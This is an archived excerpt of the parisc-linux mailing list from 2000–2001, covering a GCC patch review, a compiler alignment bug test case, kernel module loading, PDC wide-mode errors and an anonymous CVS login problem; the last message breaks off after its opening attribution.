On Tue, Nov 14, 2000 at 04:40:52PM -0500, John David Anglin wrote:
>      case USE:
> +      /* Handle insn_list USE that a call to a pure functions ...
> +      new = eliminate_regs (XEXP (x, 0), 0, insn);
> +      if (GET_CODE (new) == MEM)
> +	return XEXP (new, 0);

This is not correct.  You want to return something that still
looks like a USE.  Probably you want

	new = eliminate_regs (XEXP (x, 0), 0, insn);
	if (new != XEXP (x, 0))
	  return gen_rtx_USE (GET_MODE (x), new);
	return x;


r~


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rinux-Iternet <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Sat, 27 Jan 2001 17:46:01 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <003101c08880$a6542e20$f396953e@rinux>
References: <001501c087f4$6d378920$1e9c953e@rinux>
 <3A72155537A.E490JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619608 11485 80.91.229.3 (22 Nov 2014 01:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:48 +0000 (UTC)
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: jcarlson@macalester.edu  Sat Jan 27 13:31:36 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA19500
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 13:31:35 -0700
Original-Received: (qmail 23520 invoked by uid 15267); 27 Jan 2001 20:35:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23509 invoked from network); 27 Jan 2001 20:35:33 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 20:35:33 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZELP04JXG002OCT@macalester.edu> for
 parisc-linux@thepuffingroup.com; Sat, 27 Jan 2001 14:35:34 CDT
Resent-date: Sat, 27 Jan 2001 14:33:57 -0600
Resent-from: Josiah Carlson <jcarlson@macalester.edu>
Resent-to: parisc-linux@thepuffingroup.com
Resent-message-id: <3A7330B535B.2E02JCARLSON@smtp.macalester.edu>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9440

Anyone else have this problem?


Forwarded by Josiah Carlson <jcarlson@macalester.edu>
---------------- Original message follows ----------------
 From: Rinux-Iternet <rinux@iternet.it>
 To: Josiah Carlson <jcarlson@macalester.edu>
 Date: Sat, 27 Jan 2001 17:46:01 +0100
 Subject: R: [parisc-linux]


excellent for info about linux setup.

I have a serious problem:

I cannot go in boot menu' pressing |esc| key.
my parisc boot directly from scsi hd and not from cd.
How can I use the boot menu??
regards



From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Usage of __attribute__?
Date: Sun, 28 Jan 2001 21:15:57 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101282110510.24446-100000@front.linuxcare.com.au>
References: <200101270948.CAA00365@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619609 11488 80.91.229.3 (22 Nov 2014 01:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:49 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Jan 28 03:13:58 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA25223
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 03:13:56 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA24625;
	Sun, 28 Jan 2001 21:15:57 +1100
In-Reply-To: <200101270948.CAA00365@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9441

On Sat, 27 Jan 2001, John Marvin wrote:

> If I directly declare the type as follows:
> 
>     typedef int _lt_spinlock_t __attribute__((aligned(16)));
> 
> then EVERY int that follows has the aligned 16 attribute, e.g. just
> declaring "int tmp;" gives tmp a 16 byte alignment. So, is that what
> you would expect from my above declaration?

Hi John,
  I don't see this behaviour.  I tried

typedef int _lt_spinlock_t __attribute__ ((aligned (16)));
int a;
int b;
_lt_spinlock_t c;
int d;

and got

	.comm	a,4,4
	.comm	b,4,4
	.comm	c,4,16
	.comm	d,4,4

ie. as expected.  Can you post a testcase and version of gcc you used?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Usage of __attribute__?
Date: Sun, 28 Jan 2001 14:58:27 -0700 (MST)
Lines: 60
Approved: news@gmane.org
Message-ID: <200101282158.OAA09549@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619609 11490 80.91.229.3 (22 Nov 2014 01:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:49 +0000 (UTC)
To: alan@linuxcare.com.au, parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Jan 28 14:55:41 2001
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA01366
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 14:55:41 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 1F199E3A
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 16:59:42 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id OAA09549; Sun, 28 Jan 2001 14:58:27 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9442

Alan Modra wrote:
>   I don't see this behaviour.  I tried
>
> typedef int _lt_spinlock_t __attribute__ ((aligned (16)));
> int a;
> int b;
> _lt_spinlock_t c;
> int d;
>
> and got
>
>         .comm   a,4,4
>         .comm   b,4,4
>         .comm   c,4,16
>         .comm   d,4,4
>
> ie. as expected.  Can you post a testcase and version of gcc you used?

OK, I was just writing a test case on my pc and hadn't bothered to test it
on hppa. The compiler on my PC was version 2.95.2. The problem doesn't
exist on my native hppa gcc, which is version 2.96. So, although it is
possible that the bug might be 386 only, most likely the bug was machine
independent and was fixed between 2.95.2 and 2.96. I guess I just
don't expect to see many compiler bugs on 386, since it has a lot more
exposure.

Here's the test case:

typedef int _lt_spinlock_t __attribute__((aligned(16)));

struct test
{
	int i1;
	int i2;
	int i3;
	int i4;
};

main()
{
	struct test foo;

	printf("sizeof struct test %d offsets %d %d %d %d\n",
		sizeof(struct test),
		(unsigned long)&foo.i1 - (unsigned long)&foo,
		(unsigned long)&foo.i2 - (unsigned long)&foo,
		(unsigned long)&foo.i3 - (unsigned long)&foo,
		(unsigned long)&foo.i4 - (unsigned long)&foo);
}


GCC Version 2.95.2 -- Native i386 linux result:
    sizeof struct test 64 offsets 0 16 32 48

GCC Version 2.96 -- Native hppa linux result:
    sizeof struct test 16 offsets 0 4 8 12


John


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Usage of __attribute__?
Date: Mon, 29 Jan 2001 09:45:22 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101290940400.24446-100000@front.linuxcare.com.au>
References: <200101282158.OAA09549@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619609 11497 80.91.229.3 (22 Nov 2014 01:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:49 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Jan 28 15:43:14 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA02045
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 15:43:13 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA15215;
	Mon, 29 Jan 2001 09:45:23 +1100
In-Reply-To: <200101282158.OAA09549@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9444

On Sun, 28 Jan 2001, John Marvin wrote:

> OK, I was just writing a test case on my pc and hadn't bothered to test it
> on hppa. The compiler on my PC was version 2.95.2. The problem doesn't
> exist on my native hppa gcc, which is version 2.96. So, although it is

That's good :-)  2.95.2 has other problems with alignment too, if my
faulty memory is correct.  It doesn't propagate the maximum alignment of
fields within a struct to the struct itself, or something like that.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel module loader gived break
Date: Sun, 28 Jan 2001 19:56:08 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <200101290356.TAA25535@milano.cup.hp.com>
References: <200101271610.RAA30546@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619610 11502 80.91.229.3 (22 Nov 2014 01:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: grundler@cup.hp.com  Sun Jan 28 20:49:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA05058
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 20:49:58 -0700
Original-Received: (qmail 13493 invoked by uid 15267); 29 Jan 2001 03:54:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13483 invoked from network); 29 Jan 2001 03:54:00 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 03:54:00 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id E7607D5B; Sun, 28 Jan 2001 19:53:58 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id TAA25535;
	Sun, 28 Jan 2001 19:56:10 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 27 Jan 2001 17:10:51 PST."
             <200101271610.RAA30546@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:9445

5116@telia.com wrote:
> Modprobe is not in stalled in my system (is it ported yet?).

As Matthew mentioned, Richard Hirst worked on it and I know it works.
I've used it on the A500 to load SCSI and ACENIC modules for 64-bit kernel.
But I got the binaries directly from Richard. I think however before
posting those, I'd like them rebuilt with the matching glibc/toolchain
that Matt Taggart is working on.

For the adventurous, I would expect all richard's work to be commited to
seperate CVS repository on puffin.external.hp.com called "modutils".
But I haven't looked or tried to build it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new kernel
Date: Sun, 28 Jan 2001 20:17:33 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200101290417.UAA25622@milano.cup.hp.com>
References: <3A723714.F271D06C@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619610 11503 80.91.229.3 (22 Nov 2014 01:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:50 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Sun Jan 28 21:11:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05564
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 21:11:27 -0700
Original-Received: (qmail 32707 invoked by uid 15267); 29 Jan 2001 04:15:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32692 invoked from network); 29 Jan 2001 04:15:29 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 04:15:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id EA32D1F28; Sun, 28 Jan 2001 20:15:23 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id UAA25622;
	Sun, 28 Jan 2001 20:17:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 27 Jan 2001 03:48:52 PST."
             <3A723714.F271D06C@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:9446

Thomas Marteau wrote:
> Hi all,
> 
>         Xavier and I made 2 differents kernels of the new CVS: Ok for
> B132 but our 712 dies after saying:
> Firmware does not allow selection of default wide mode
> 
> Just after branching to kernel

The kernel does not emit that msg and it only attempts
the call pdc_psw_get_mask() for __LP64__ code.
(see arch/parisc/kernel/setup.c:init_per_cpu())
I just recently added that for CONFIG_SMP stuff.

OTOH, palo will attempt to make that PDC call for 64-bit kernels.
But that's not new code. See ipl/pdc_misc.c.
And it prints the above msg when (PDC_PSW, PDC_RETURN_MASK) is invoked
but wide_mode bit is clear (ie not available).

I also believe you didn't try the same kernel on the B132 as on the 712.
Otherwise, I'm pretty sure it would have given the same error.
As you probably know, "wide mode" is only supported on PA2.0 CPU's
and both systems you tried have PA1.1 (PXC-L or L2).

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel module loader gave break
Date: Mon, 29 Jan 2001 07:40:55 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <200101290640.HAA24683@zaphod.halden.lillfab.se>
References: <20010127182320.A20379@parcelfarce.linux.theplanet.co.uk>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619610 11507 80.91.229.3 (22 Nov 2014 01:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: 5116@telia.com  Sun Jan 28 23:36:58 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA07694
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Jan 2001 23:36:57 -0700
Original-Received: (qmail 26531 invoked by uid 15267); 29 Jan 2001 06:40:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26520 invoked from network); 29 Jan 2001 06:40:58 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 06:40:58 -0000
Original-Received: from zaphod.halden.lillfab.se (t6o70p11.telia.com [195.67.239.131])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id HAA15415;
	Mon, 29 Jan 2001 07:40:56 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id HAA24683;
	Mon, 29 Jan 2001 07:40:55 +0100
In-Reply-To: <20010127182320.A20379@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9447

On 27 Jan, Matthew Wilcox wrote:
> On Sat, Jan 27, 2001 at 05:10:51PM +0100, 5116@telia.com wrote:
>> Hi, all
>> 
>> I get messages like 
>> 
>> break 0,0: pid=116 command='cat'
>> cat[116]: Breakpoint 0
>> 
>> Followed by a register dump when I do some thing that would trigger the
>> kernel to call modprobe. Modprobe is not in stalled in my system (is it
>> ported yet?).
> 
> the modutils source is available by cvs from pehc.  richard was working
> on it (he's on holiday right now).  don't remember how far he got.
> i know he did a merge with the upstream modutils source at one point.
> 
I have not built modutuils yet, but if I install echo as /sbin/modprobe
the problem goes away.

So something in the request module path does not handle missing files
as it should.

/Daniel
-- 



From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] anonymous cvs password not accepted
Date: Mon, 29 Jan 2001 14:55:55 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619611 11508 80.91.229.3 (22 Nov 2014 01:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: markus@lufmech.rwth-aachen.de  Mon Jan 29 07:21:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14190
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 07:21:38 -0700
Original-Received: (qmail 8885 invoked by uid 15267); 29 Jan 2001 14:25:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24974 invoked from network); 29 Jan 2001 13:56:03 -0000
Original-Received: from karman.lufmech.rwth-aachen.de (HELO lufmech.rwth-aachen.de) (@134.130.177.1)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 13:56:03 -0000
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id OAA03320; Mon, 29 Jan 2001 14:55:55 +0100 (MET)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9448

Hi!

I tried to log into Yoiur cvs tree, but it failed.
Which password do I need?
Please update Your web-page.

Many thanks,

Markus

cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv
login anonymous
(Logging in to anonymous@puffin.external.hp.com)
CVS password:
cvs login: authorization failed: server puffin.external.hp.com rejected
access to /home/cvs/parisccv for user anonymous



From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] anonymous cvs password not accepted
Date: Mon, 29 Jan 2001 09:35:37 -0500
Organization: Linuxcare
Lines: 34
Approved: news@gmane.org
Message-ID: <3A757FB9.6DCD3A91@linuxcare.com>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619611 11512 80.91.229.3 (22 Nov 2014 01:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: jvinet@linuxcare.com  Mon Jan 29 07:46:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14649
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 07:46:54 -0700
Original-Received: (qmail 26014 invoked by uid 15267); 29 Jan 2001 14:50:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17482 invoked from network); 29 Jan 2001 14:30:30 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 14:30:30 -0000
Original-Received: (qmail 13825 invoked from network); 29 Jan 2001 14:30:31 -0000
Original-Received: from port-7-206.magma.ca (HELO linuxcare.com) (jvinet@64.26.139.206)
  by smtp.linuxcare.com with SMTP; 29 Jan 2001 14:30:31 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9449

Hi Markus, as the web page says, for anonymous cvs access you don't need
a password - when password comes up, hit enter.

Jane

Markus Werle wrote:
> 
> Hi!
> 
> I tried to log into Yoiur cvs tree, but it failed.
> Which password do I need?
> Please update Your web-page.
> 
> Many thanks,
> 
> Markus
> 
> cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv
> login anonymous
> (Logging in to anonymous@puffin.external.hp.com)
> CVS password:
> cvs login: authorization failed: server puffin.external.hp.com rejected
> access to /home/cvs/parisccv for user anonymous
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Jane Vinet, Director Professional Services/Canadian Operations
Linuxcare, Inc. 613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the Revolution


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] anonymous cvs password not accepted
Date: Mon, 29 Jan 2001 15:34:16 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <3A757F68.1833548@lufmech.rwth-aachen.de>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de> <3A757FB9.6DCD3A91@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619611 11514 80.91.229.3 (22 Nov 2014 01:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jane Vinet <jvinet@linuxcare.com>
Original-X-From: markus@lufmech.rwth-aachen.de  Mon Jan 29 07:48:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14882
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 07:48:59 -0700
Original-Received: (qmail 30829 invoked by uid 15267); 29 Jan 2001 14:52:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24512 invoked from network); 29 Jan 2001 14:34:21 -0000
Original-Received: from karman.lufmech.rwth-aachen.de (HELO lufmech.rwth-aachen.de) (@134.130.177.1)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 14:34:21 -0000
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id PAA03344; Mon, 29 Jan 2001 15:34:16 +0100 (MET)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9450

Jane Vinet wrote:

> Hi Markus, as the web page says, for anonymous cvs access you don't need
> a password - when password comes up, hit enter.
>
> Jane

sorry, but *this* does *not* work.
This is why I mailed to Your list.

Many thanks for a fix,


Markus


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] anonymous cvs password not accepted
Date: Mon, 29 Jan 2001 14:52:41 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010129145241.B19048@parcelfarce.linux.theplanet.co.uk>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619612 11516 80.91.229.3 (22 Nov 2014 01:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: willy@www.linux.org.uk  Mon Jan 29 07:57:15 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA15121
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 07:57:15 -0700
Original-Received: (qmail 16901 invoked by uid 15267); 29 Jan 2001 15:01:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30620 invoked from network); 29 Jan 2001 14:52:53 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 14:52:53 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NFfd-0005KN-00; Mon, 29 Jan 2001 14:52:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>; from markus@lufmech.rwth-aachen.de on Mon, Jan 29, 2001 at 02:55:55PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9451

On Mon, Jan 29, 2001 at 02:55:55PM +0100, Markus Werle wrote:
